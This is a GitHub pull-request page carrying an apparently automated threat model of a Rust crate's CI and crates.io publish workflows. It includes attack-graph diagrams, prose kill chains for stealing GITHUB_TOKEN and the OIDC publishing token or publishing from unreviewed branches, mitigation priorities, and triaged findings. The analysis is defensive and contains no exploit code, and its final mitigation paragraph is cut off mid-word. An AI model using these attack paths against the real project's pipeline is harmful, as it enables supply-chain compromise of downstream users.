    S5@{ shape: rect, label: "STRIDE-5: Malleable Tag-Version Check<br><i>Medium / Possible</i>" }
    S4@{ shape: rect, label: "STRIDE-4: TOCTOU Race in Publish<br><i>Medium / Possible</i>" }
  end
  subgraph SL5["1. Threat Actors"]
    direction LR
    TA2@{ shape: rect, label: "TA-2: Supply Chain Attacker<br><i>Steal publishing credentials</i>" }
    TA3@{ shape: rect, label: "TA-3: Compromised/Malicious Insider<br><i>Publish unauthorized code</i>" }
  end
  SC3 --> CWE1357
  SC3 --> CWE862
  SC3 --> CWE345
  SC3 --> CWE367
  CWE1357 --> CAPEC538
  CWE862 --> CAPEC694
  CWE345 --> CAPEC694
  CWE367 --> CAPEC25
  CAPEC538 --> S1
  CAPEC694 --> S6
  CAPEC694 --> S5
  CAPEC25 --> S4
  S1 --> TA2
  S6 --> TA3
  S5 --> TA3
  S4 --> TA3
  linkStyle 0 stroke:#FF0000, stroke-width:2px
  linkStyle 1 stroke:#FF0000, stroke-width:2px
  linkStyle 2 stroke:#FF0000, stroke-width:2px
  linkStyle 3 stroke:#FFA500, stroke-width:2px
  linkStyle 4 stroke:#FF0000, stroke-width:2px
  linkStyle 5 stroke:#FFA500, stroke-width:2px
  linkStyle 6 stroke:#FFA500, stroke-width:2px
  linkStyle 7 stroke:#FFA500, stroke-width:2px
  linkStyle 8 stroke:#FF0000, stroke-width:2px
  linkStyle 9 stroke:#FFA500, stroke-width:2px
  linkStyle 10 stroke:#FFA500, stroke-width:2px
  linkStyle 11 stroke:#FFA500, stroke-width:2px
  linkStyle 12 stroke:#FF0000, stroke-width:2px
  linkStyle 13 stroke:#FFA500, stroke-width:2px
  linkStyle 14 stroke:#FFA500, stroke-width:2px
  linkStyle 15 stroke:#FFA500, stroke-width:2px
Loading

SC-2: CI Workflow (ci.yml)

---
config:
  layout: dagre
  look: classic
  theme: dark
---
flowchart LR
  subgraph SL1["5. System Component"]
    direction LR
    SC2@{ shape: rect, label: "SC-2: CI Workflow (ci.yml)" }
  end
  subgraph SL2["4. Weaknesses"]
    direction LR
    CWE829@{ shape: rect, label: "CWE-829: Inclusion of Functionality from Untrusted Control Sphere" }
    CWE276@{ shape: rect, label: "CWE-276: Incorrect Default Permissions" }
    CWE1357B@{ shape: rect, label: "CWE-1357: Reliance on Insufficiently Trustworthy Component" }
  end
  subgraph SL3["3. Attack Patterns"]
    direction LR
    CAPEC242@{ shape: rect, label: "CAPEC-242: Code Injection" }
    CAPEC122@{ shape: rect, label: "CAPEC-122: Privilege Abuse" }
    CAPEC538B@{ shape: rect, label: "CAPEC-538: Open-Source Library Manipulation" }
  end
  subgraph SL4["2. Threats"]
    direction LR
    S2@{ shape: rect, label: "STRIDE-2: Untrusted PR Code Execution<br><i>High / Likely</i>" }
    S3@{ shape: rect, label: "STRIDE-3: Missing Permissions Block<br><i>Medium / Possible</i>" }
    S10@{ shape: rect, label: "STRIDE-10: apt-get Without Pinning<br><i>Low / Unlikely</i>" }
  end
  subgraph SL5["1. Threat Actors"]
    direction LR
    TA1@{ shape: rect, label: "TA-1: Malicious External Contributor<br><i>Execute code in CI</i>" }
    TA2B@{ shape: rect, label: "TA-2: Supply Chain Attacker<br><i>Compromise dependencies</i>" }
  end
  SC2 --> CWE829
  SC2 --> CWE276
  SC2 --> CWE1357B
  CWE829 --> CAPEC242
  CWE276 --> CAPEC122
  CWE1357B --> CAPEC538B
  CAPEC242 --> S2
  CAPEC122 --> S3
  CAPEC538B --> S10
  S2 --> TA1
  S3 --> TA1
  S10 --> TA2B
  linkStyle 0 stroke:#FF0000, stroke-width:2px
  linkStyle 1 stroke:#FFA500, stroke-width:2px
  linkStyle 2 stroke:#00FF00, stroke-width:2px
  linkStyle 3 stroke:#FF0000, stroke-width:2px
  linkStyle 4 stroke:#FFA500, stroke-width:2px
  linkStyle 5 stroke:#00FF00, stroke-width:2px
  linkStyle 6 stroke:#FF0000, stroke-width:2px
  linkStyle 7 stroke:#FFA500, stroke-width:2px
  linkStyle 8 stroke:#00FF00, stroke-width:2px
  linkStyle 9 stroke:#FF0000, stroke-width:2px
  linkStyle 10 stroke:#FFA500, stroke-width:2px
  linkStyle 11 stroke:#00FF00, stroke-width:2px
Loading

📊 Risk Summary

Total Threats: 11

By Severity: Low: 4 · High: 2 · Medium: 4 · Informational: 1

By Category: Tampering: 8 · Elevation of Privilege: 4 · Information Disclosure: 2 · Denial of Service: 4 · Repudiation: 2

🎯 Attack Surface

Kill Chain 1: An external attacker submits a pull request from a fork (EE-1/AC-2/TA-1) containing malicious build.rs, proc-macro, or test code; because ci.yml triggers on pull_request with no explicit least-privilege permissions: block (STRIDE-3) and no approval gate (STRIDE-2), the attacker's code executes inside the GitHub Actions runner (SC-2/TB-1) during cargo clippy/cargo test --all-features, potentially exfiltrating the ambient GITHUB_TOKEN or probing for organization secrets, and establishing a foothold that could be used to pivot toward the release pipeline. Kill Chain 2: A supply-chain attacker (TA-2) compromises or typosquats one of the mutable-tag-referenced third-party GitHub Actions (dtolnay/rust-toolchain@stable, Swatinem/rust-cache@v2, or critically rust-lang/crates-io-auth-action@v1) used in both ci.yml and publish.yml (STRIDE-1); when publish.yml next runs on a legitimate tag push, the compromised action executes with id-token: write permissions active, allowing exfiltration of the freshly OIDC-minted CARGO_REGISTRY_TOKEN before the real cargo publish --locked step runs, giving the attacker a direct path to publish malicious code to crates.io under the trusted dtg-credentials name — directly poisoning the supply chain of the downstream verifiable-trust-infrastructure project referenced in the workflow comments. Kill Chain 3: A malicious insider or holder of compromised write-level credentials (TA-3) exploits the fact that the 'Tag must match the crate version' consistency check in publish.yml is conditionally skipped for workflow_dispatch runs off arbitrary branches (STRIDE-6) and provides no protection against tag re-pointing (STRIDE-5); the insider manually dispatches the publish workflow from an unreviewed feature branch containing a maliciously modified authority::verify_chain-adjacent code path, bypassing the tag-based provenance check entirely and publishing unauthorized cryptographic-verification logic directly to crates.io, an action that is effectively irreversible once consumers begin depending on that version. Kill Chain 4: Chaining STRIDE-8 (unauthenticated sparse-index integrity check) with STRIDE-4 (TOCTOU race) shows that even the workflow's own safety mechanisms are advisory rather than authoritative — an adversary with network position or a race condition can cause the workflow to silently skip a legitimate publish (denial of service against the release) rather than corrupt the registry directly, since crates.io's own server-side immutability is the true backstop, not the workflow logic.

🛡️ Risk Mitigation Strategy

Priority Immediate: Pin all third-party GitHub Actions (actions/checkout, dtolnay/rust-toolchain, Swatinem/rust-cache, rust-lang/crates-io-auth-action) to immutable commit SHAs rather than mutable tags across both ci.yml and publish.yml, and add explicit least-privilege permissions: contents: read blocks to ci.yml to close the highest-severity supply-chain and untrusted-code-execution paths (STRIDE-1, STRIDE-2, STRIDE-3) before the next release cycle, since these directly threaten the OIDC-scoped publishing credential and the ambient GITHUB_TOKEN. Priority Short-Term: Remove or gate the workflow_dispatch trigger in publish.yml behind a GitHub Environment with required reviewers, and make the tag/version consistency check unconditional (fail-closed) rather than skipped for non-tag refs, directly closing the STRIDE-6 and STRIDE-5 bypass paths that allow publishing from unreviewed branches or re-pointed tags. Priority Medium-Term: Harden the publish idempotency logic by adopting a GitHub Actions concurrency group to serialize releases (mitigating STRIDE-4's TOCTOU race) and by treating the sparse-index check as advisory-only, falling back to cargo publish's own authoritative 'already published' error rather than pre-emptively skipping based on a CDN-lagged read (mitigating STRIDE-8's spoofable skip condition); additionally extend the msrv job to run the test suite rather than only cargo check to catch runtime regressions at the declared minimum toolchain version (STRIDE-11). Priority Long-Term: Introduce SLSA build provenance generation and signed release attestations attached to each crates.io publish to close the non-repudiation gap identified in STRIDE-7, and require external audit of the library's feature-gating design (STRIDE-9) to confirm that no authority-verification code path silently degrades when the affinidi-signing feature is disabled, given the explicit design commentary in the workflow files describing `authority::verify_cha


Generated by Agentic Sec — Threat Model & Affect Analysis Agent

📊 Summary & findings
✅ Confirmed ⚠️ Must-Review-By-Human
4 1

Confirmed (4)

  • 🟡 Third-party GitHub Actions pinned by mutable tag, not immutable SHA (triaged HIGH→MEDIUM)
  • 🟡 pull_request trigger permits untrusted fork code execution during cargo clippy/test (triaged HIGH→MEDIUM)
  • 🔵 Missing explicit least-privilege permissions block in ci.yml (triaged MEDIUM→LOW)
  • 🟡 Tag-to-version string check provides no cryptographic provenance guarantee in publish.yml

Must-Review-By-Human (1)

  • 🟡 Publish workflow trusts tag-triggered release without branch/reviewer restriction

stormer78 added a commit that referenced this pull request Sep 3, 2026
…18)

The required-features fix landed in #17, after the 0.6.0 section was
written, so it sat under [Unreleased] while shipping as part of 0.6.0.
Tagging freezes CHANGELOG.md into the published artifact, so the entry
would have said 'unreleased' forever about something that released.

Dates 0.6.0 to the day it is actually being published rather than the day
the section was drafted.

Signed-off-by: Glenn Gore <glenn.g@affinidi.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants